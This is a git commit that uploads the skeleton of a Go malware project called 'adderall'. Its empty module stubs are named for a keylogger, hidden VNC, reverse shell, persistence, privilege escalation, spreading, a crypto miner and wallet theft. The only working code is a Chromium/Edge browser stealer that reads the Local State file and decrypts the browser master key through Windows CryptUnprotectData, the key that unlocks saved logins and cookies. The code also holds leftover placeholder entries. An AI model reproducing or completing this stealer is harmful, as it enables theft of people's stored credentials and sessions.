Upload of project source code files.

This commit is contained in:
2026-02-17 04:01:29 +01:00
parent 8eee3bb938
commit 38704ce1ad
76 changed files with 257 additions and 0 deletions

8
.idea/.gitignore generated vendored Normal file
View File

@@ -0,0 +1,8 @@
# Default ignored files
/shelf/
/workspace.xml
# Editor-based HTTP Client requests
/httpRequests/
# Datasource local storage ignored files
/dataSources/
/dataSources.local.xml

9
.idea/adderall.iml generated Normal file
View File

@@ -0,0 +1,9 @@
<?xml version="1.0" encoding="UTF-8"?>
<module type="WEB_MODULE" version="4">
<component name="Go" enabled="true" />
<component name="NewModuleRootManager">
<content url="file://$MODULE_DIR$" />
<orderEntry type="inheritedJdk" />
<orderEntry type="sourceFolder" forTests="false" />
</component>
</module>

7
.idea/discord.xml generated Normal file
View File

@@ -0,0 +1,7 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="DiscordProjectSettings">
<option name="show" value="PROJECT_FILES" />
<option name="description" value="" />
</component>
</project>

8
.idea/modules.xml generated Normal file
View File

@@ -0,0 +1,8 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="ProjectModuleManager">
<modules>
<module fileurl="file://$PROJECT_DIR$/.idea/adderall.iml" filepath="$PROJECT_DIR$/.idea/adderall.iml" />
</modules>
</component>
</project>

1
config.go Normal file
View File

@@ -0,0 +1 @@
package main

3
go.mod Normal file
View File

@@ -0,0 +1,3 @@
module adderall
go 1.22

1
listener.go Normal file
View File

@@ -0,0 +1 @@
package main

11
main.go Normal file
View File

@@ -0,0 +1,11 @@
package main
import (
"adderall/modules/exfil/browser"
"fmt"
)
func main() {
fmt.Println("Hello, World!")
browser.Main()
}

View File

@@ -0,0 +1,5 @@
package browser
func Main() {
chromium()
}

View File

@@ -0,0 +1,47 @@
package browser
import (
"adderall/utils"
"fmt"
"path/filepath"
)
func chromium() {
fmt.Println("[*] Executing Browser Stealer: Chromium.")
profiles := []string{"Default", "Profile 1", "Profile 2", "Profile 3", "Profile 4", "Profile 5"}
paths := map[string]string{
"Microsoft Edge": "Microsoft\\Edge",
"name": "John",
"age": "30",
}
for name, path := range paths {
path = filepath.Join(utils.LocalAppData, path, "User Data")
if utils.FileOrDirExists(path) {
fmt.Printf("[*] Main browser dir %s exists.\n", path)
localState := filepath.Join(path, "Local State")
if utils.FileOrDirExists(localState) {
fmt.Printf("[*] LocalState file %s exists. Retrieving key...\n", localState)
result := make(chan []byte)
go getMasterKey(localState, result)
fmt.Printf("[*] Received key from LocalState file %s: %d.\n", localState, <-result)
for _, profile := range profiles {
path = filepath.Join(path, profile)
if utils.FileOrDirExists(path) {
fmt.Printf("[*] \"%s\" exists. Retrieving Retrieving login data...\n", path)
fmt.Println(name)
}
}
}
}
}
}

View File

@@ -0,0 +1,79 @@
package browser
import (
"encoding/base64"
"encoding/json"
"fmt"
"os"
"syscall"
"unicode/utf8"
"unsafe"
)
var (
crypt32 = syscall.NewLazyDLL("crypt32.dll")
kernel32 = syscall.NewLazyDLL("kernel32.dll")
procCryptUnprotectData = crypt32.NewProc("CryptUnprotectData")
procLocalFree = kernel32.NewProc("LocalFree")
)
type DataBlob struct {
cbData uint32
pbData *byte
}
func getMasterKey(path string, result chan<- []byte) {
var encryptedBase64Key struct {
OSCrypt struct {
EncryptedKey string `json:"encrypted_key"`
} `json:"os_crypt"`
}
file, err := os.ReadFile(path)
if err != nil {
fmt.Printf("[!] Error reading LocalState file %s: %s\n", path, err)
}
if err := json.Unmarshal(file, &encryptedBase64Key); err != nil {
fmt.Printf("[!] Error parsing JSON: %s\n", err)
}
encryptedKey, err := base64.StdEncoding.DecodeString(encryptedBase64Key.OSCrypt.EncryptedKey)
if err != nil {
fmt.Printf("[!] Error decoding base64: %s\n", err)
}
for i := 0; i < 5; i++ {
_, size := utf8.DecodeRune(encryptedKey)
encryptedKey = encryptedKey[size:]
}
encryptedBlob := DataBlob{
cbData: uint32(len(encryptedKey)),
pbData: &encryptedKey[0],
}
var outBlob DataBlob
ret, _, err := procCryptUnprotectData.Call(
uintptr(unsafe.Pointer(&encryptedBlob)),
0,
0,
0,
0,
0,
uintptr(unsafe.Pointer(&outBlob)),
)
if ret == 0 {
fmt.Println("[!] CryptUnprotectData failed:", err)
return
}
decryptedKey := make([]byte, outBlob.cbData)
copy(decryptedKey, (*[1 << 20]byte)(unsafe.Pointer(outBlob.pbData))[:outBlob.cbData:outBlob.cbData])
procLocalFree.Call(uintptr(unsafe.Pointer(outBlob.pbData)))
result <- decryptedKey
}

View File

@@ -0,0 +1 @@
package browser

View File

@@ -0,0 +1 @@
package file

View File

@@ -0,0 +1 @@
package file

View File

@@ -0,0 +1 @@
package file

View File

@@ -0,0 +1 @@
package game

View File

@@ -0,0 +1 @@
package game

View File

@@ -0,0 +1 @@
package game

View File

@@ -0,0 +1 @@
package mail

View File

@@ -0,0 +1 @@
package messenger

View File

@@ -0,0 +1 @@
package network

View File

@@ -0,0 +1 @@
package network

View File

@@ -0,0 +1 @@
package network

View File

@@ -0,0 +1 @@
package network

View File

@@ -0,0 +1 @@
package network

View File

@@ -0,0 +1 @@
package system

1
modules/exfil/vpn/vpn.go Normal file
View File

@@ -0,0 +1 @@
package vpn

View File

@@ -0,0 +1 @@
package wallet

View File

@@ -0,0 +1 @@
package wallet

1
modules/hvnc/hvnc.go Normal file
View File

@@ -0,0 +1 @@
package hvnc

1
modules/hvnc/screen.go Normal file
View File

@@ -0,0 +1 @@
package hvnc

1
modules/hvnc/transmit.go Normal file
View File

@@ -0,0 +1 @@
package hvnc

View File

@@ -0,0 +1 @@
package injections

View File

@@ -0,0 +1 @@
package injections

View File

@@ -0,0 +1 @@
package injections

View File

@@ -0,0 +1 @@
package injections

View File

@@ -0,0 +1 @@
package injections

View File

@@ -0,0 +1 @@
package injections

View File

@@ -0,0 +1 @@
package injections

View File

@@ -0,0 +1 @@
package keylogger

View File

@@ -0,0 +1 @@
package keylogger

1
modules/loader/file.go Normal file
View File

@@ -0,0 +1 @@
package loader

View File

@@ -0,0 +1 @@
package loader

View File

@@ -0,0 +1 @@
package loader

1
modules/modules.go Normal file
View File

@@ -0,0 +1 @@
package modules

View File

@@ -0,0 +1 @@
package persistence

View File

@@ -0,0 +1 @@
package persistence

View File

@@ -0,0 +1 @@
package persistence

View File

@@ -0,0 +1 @@
package persistence

View File

@@ -0,0 +1 @@
package porn_detection

View File

@@ -0,0 +1 @@
package privilege_escalation

View File

@@ -0,0 +1 @@
package privilege_escalation

View File

@@ -0,0 +1 @@
package privilege_escalation

View File

@@ -0,0 +1 @@
package privilege_escalation

View File

@@ -0,0 +1 @@
package protection

View File

@@ -0,0 +1 @@
package protection

View File

@@ -0,0 +1 @@
package protection

View File

@@ -0,0 +1 @@
package reverse_shell

View File

@@ -0,0 +1 @@
package spread

1
modules/spread/mail.go Normal file
View File

@@ -0,0 +1 @@
package spread

View File

@@ -0,0 +1 @@
package spread

1
modules/spread/spread.go Normal file
View File

@@ -0,0 +1 @@
package spread

View File

@@ -0,0 +1 @@
package wallet

View File

@@ -0,0 +1 @@
package currencies

View File

@@ -0,0 +1 @@
package currencies

View File

@@ -0,0 +1 @@
package currencies

View File

@@ -0,0 +1 @@
package currencies

View File

@@ -0,0 +1 @@
package currencies

View File

@@ -0,0 +1 @@
package currencies

View File

@@ -0,0 +1 @@
package wallet

1
modules/wallet/miner.go Normal file
View File

@@ -0,0 +1 @@
package wallet

1
sender.go Normal file
View File

@@ -0,0 +1 @@
package main

1
utils/requests.go Normal file
View File

@@ -0,0 +1 @@
package utils

1
utils/sockets.go Normal file
View File

@@ -0,0 +1 @@
package utils

1
utils/store.go Normal file
View File

@@ -0,0 +1 @@
package utils

14
utils/utils.go Normal file
View File

@@ -0,0 +1,14 @@
package utils
import "os"
var AppData string = os.Getenv("APPDATA")
var LocalAppData string = os.Getenv("LOCALAPPDATA")
func FileOrDirExists(path string) bool {
_, err := os.Stat(path)
if os.IsNotExist(err) {
return false
}
return true
}